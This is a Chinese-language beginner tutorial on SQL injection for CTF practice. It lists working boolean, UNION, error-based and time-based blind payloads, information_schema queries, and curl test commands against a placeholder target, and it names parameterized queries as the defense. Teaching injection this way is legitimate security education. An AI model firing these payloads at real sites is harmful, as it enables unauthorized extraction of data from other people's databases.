SQL 注入入门
SQL 注入入门
本文适合
第一次接触 SQL 注入的学习者。学完你能:识别基本 SQL 注入点,使用布尔/联合/报错/时间注入提取数据
SQL 注入的本质是:用户输入被拼接进 SQL 语句后,改变了原本的查询逻辑。
一个最小例子
后端代码如果这样写:
$id = $_GET["id"];
$sql = "select title, content from news where id = $id";正常访问:
id=1SQL 是:
select title, content from news where id = 1如果输入:
id=1 or 1=1SQL 变成:
select title, content from news where id = 1 or 1=11=1 永远为真,查询逻辑就被改变了。
为什么单引号有用
如果后端把输入放进字符串:
$sql = "select * from users where name = '$name'";输入一个单引号可能打破字符串结构,造成 SQL 语法错误:
select * from users where name = '''所以单引号不是"万能 payload",它只是用来观察输入是否进入 SQL 字符串。
布尔注入
布尔注入看页面真假差异:
id=1 and 1=1
id=1 and 1=2如果第一条正常、第二条异常或为空,说明输入影响了 SQL 条件。
联合查询
union select 用来把攻击者构造的查询结果拼到原查询结果里。
前提是列数一致:
id=-1 union select 1,2,3如果页面显示 2,说明第二列有回显,可以把第二列换成数据库函数:
id=-1 union select 1,database(),3报错注入
当页面会显示数据库报错信息时,可以把查询结果嵌入报错消息中。
extractvalue:
id=1 and extractvalue(1,concat(0x7e,(select database()),0x7e))updatexml:
id=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)floor:
id=1 and (select 1 from (select count(*),concat((select database()),floor(rand(0)*2))x from information_schema.tables group by x)a)extractvalue 和 updatexml 的报错长度限制是 32 字符,超过会被截断。可以用 substr() 分段提取。
时间盲注
当页面没有回显、没有报错、布尔差异也不明显时,可以用时间延迟判断条件真假。
id=1 and if(1=1,sleep(3),0)
id=1 and if(1=2,sleep(3),0)如果第一条延迟 3 秒、第二条立即返回,说明 if 条件进入了 SQL。
常用延迟函数:
- MySQL:
sleep(N)、benchmark(N,sha2('test',256)) - PostgreSQL:
pg_sleep(N) - SQL Server:
waitfor delay '0:0:N'
配合 substr() 和 ascii() 可以逐字符提取数据:
id=1 and if(ascii(substr(database(),1,1))>100,sleep(3),0)缺点是速度慢,每个字符需要多次请求。适合没有回显的场景。
常见数据库函数
MySQL 常用:
database()
version()
user()
group_concat()查表名常用:
select table_name from information_schema.tables where table_schema=database()查列名常用:
select column_name from information_schema.columns where table_name='flag'防御思路
真正的防御不是过滤几个关键字,而是使用参数化查询,让用户输入只作为数据,不参与 SQL 结构。
常见误区
- 只测单引号,不测布尔差异。
- 不判断列数就 union。
- 不区分数字型和字符型注入。
一句话判断
参数变化会改变数据库查询结果,尤其是 id、name、search、order、sort、filter 这类字段出现真假差异、报错、延迟或额外数据回显时,就优先按 SQL 注入验证。
入门判断不要从"大 payload"开始,而是先证明输入进入了 SQL 结构。
题目中常见信号
- URL 或 JSON 里有
id=1、uid=2、keyword=test、sort=price。 - 输入
'、"后出现数据库语法错误。 and 1=1与and 1=2页面结果不同。order by 1、order by 2、order by 3响应逐步变化。- 页面错误中出现 MySQL、SQLite、PostgreSQL、SQL Server 等字样。
- 请求响应很稳定,适合做时间盲注。
核心概念
SQL 注入成立需要两个条件:用户输入进入 SQL 语句,并且输入没有被当成纯数据处理。攻击者的目标是改变原查询结构,例如追加条件、拼接联合查询、触发报错或控制延迟。
CTF 中最重要的是建立因果关系:
改参数 -> SQL 行为变化 -> 页面/时间/报错变化 -> 可提取数据没有这个因果关系,只是 payload 碰运气。
最小分析流程
- 保存一个正常请求作为基线。
- 判断参数类型:数字型、字符型、搜索型、排序型。
- 用最小 payload 测真假差异。
- 如果有回显,优先尝试
union select。 - 如果有报错,尝试报错注入。
- 如果没有回显和报错,尝试布尔盲注或时间盲注。
- 提取数据时按库名、表名、列名、字段值顺序推进。
- 每一步都记录原始请求、payload、响应差异。
最小验证示例
数字型参数:
curl -i 'http://target/news.php?id=1'
curl -i 'http://target/news.php?id=1 and 1=1'
curl -i 'http://target/news.php?id=1 and 1=2'字符型参数:
curl -i "http://target/search.php?q=test'"
curl -i "http://target/search.php?q=test' and '1'='1"
curl -i "http://target/search.php?q=test' and '1'='2"时间盲注:
time curl -s 'http://target/item.php?id=1 and if(1=1,sleep(3),0)' -o /dev/null
time curl -s 'http://target/item.php?id=1 and if(1=2,sleep(3),0)' -o /dev/null只有当真假或时间差异稳定复现,才能继续提取数据。
常见利用 / 解题路线
路线总览:
路线一:联合查询
适合页面有回显。
order by 判断列数
union select 找回显位
database() / version() 确认环境
information_schema 查表名和列名
查询 flag 字段路线二:布尔盲注
适合页面只有"存在/不存在""正常/异常"差异。
构造条件 -> 观察真假 -> 二分 ascii -> 拼出库表列和值路线三:时间盲注
适合没有明显回显,但响应时间可控。
if(条件,sleep(3),0) -> 用延迟表示 True -> 逐字符提取路线四:报错注入
适合数据库错误直接显示到页面。
extractvalue/updatexml/floor -> 把查询结果塞进报错文本路线五:数据库差异
如果报错显示不是 MySQL,回到 非MySQL数据库注入,按 PostgreSQL、SQLite、Oracle 或 SQL Server 的语法重新构造。
常见失败原因
- 没有基线:不知道正常响应是什么,无法判断 payload 是否生效。
- 类型判断错:数字型、字符型和排序型参数闭合方式不同。
- 列数没对齐就 union:
union select必须列数兼容。 - 回显位没找准:查了数据但页面不显示。
- 被 WAF 或过滤干扰:先用大小写、注释、编码、空白变体确认过滤点。
- 盲注阈值太短:网络抖动会影响 1 秒延迟,CTF 中常用 3 到 5 秒验证。
- 只看 payload 不看响应:SQL 注入靠响应差异推进,不靠背语句。
迷你案例
题目页面:
/news.php?id=1第一步验证真假:
curl -s 'http://target/news.php?id=1 and 1=1' | wc -c
curl -s 'http://target/news.php?id=1 and 1=2' | wc -c如果两个长度明显不同,说明参数影响了 SQL 条件。
第二步判断列数:
id=1 order by 1
id=1 order by 2
id=1 order by 3order by 3 报错,说明原查询有 2 列。
第三步找回显位:
id=-1 union select 1,2页面显示 2,于是提取库名:
id=-1 union select 1,database()第四步继续查表、查列、查 flag。WP 中要写清楚每一步响应变化,而不是只贴最终 payload。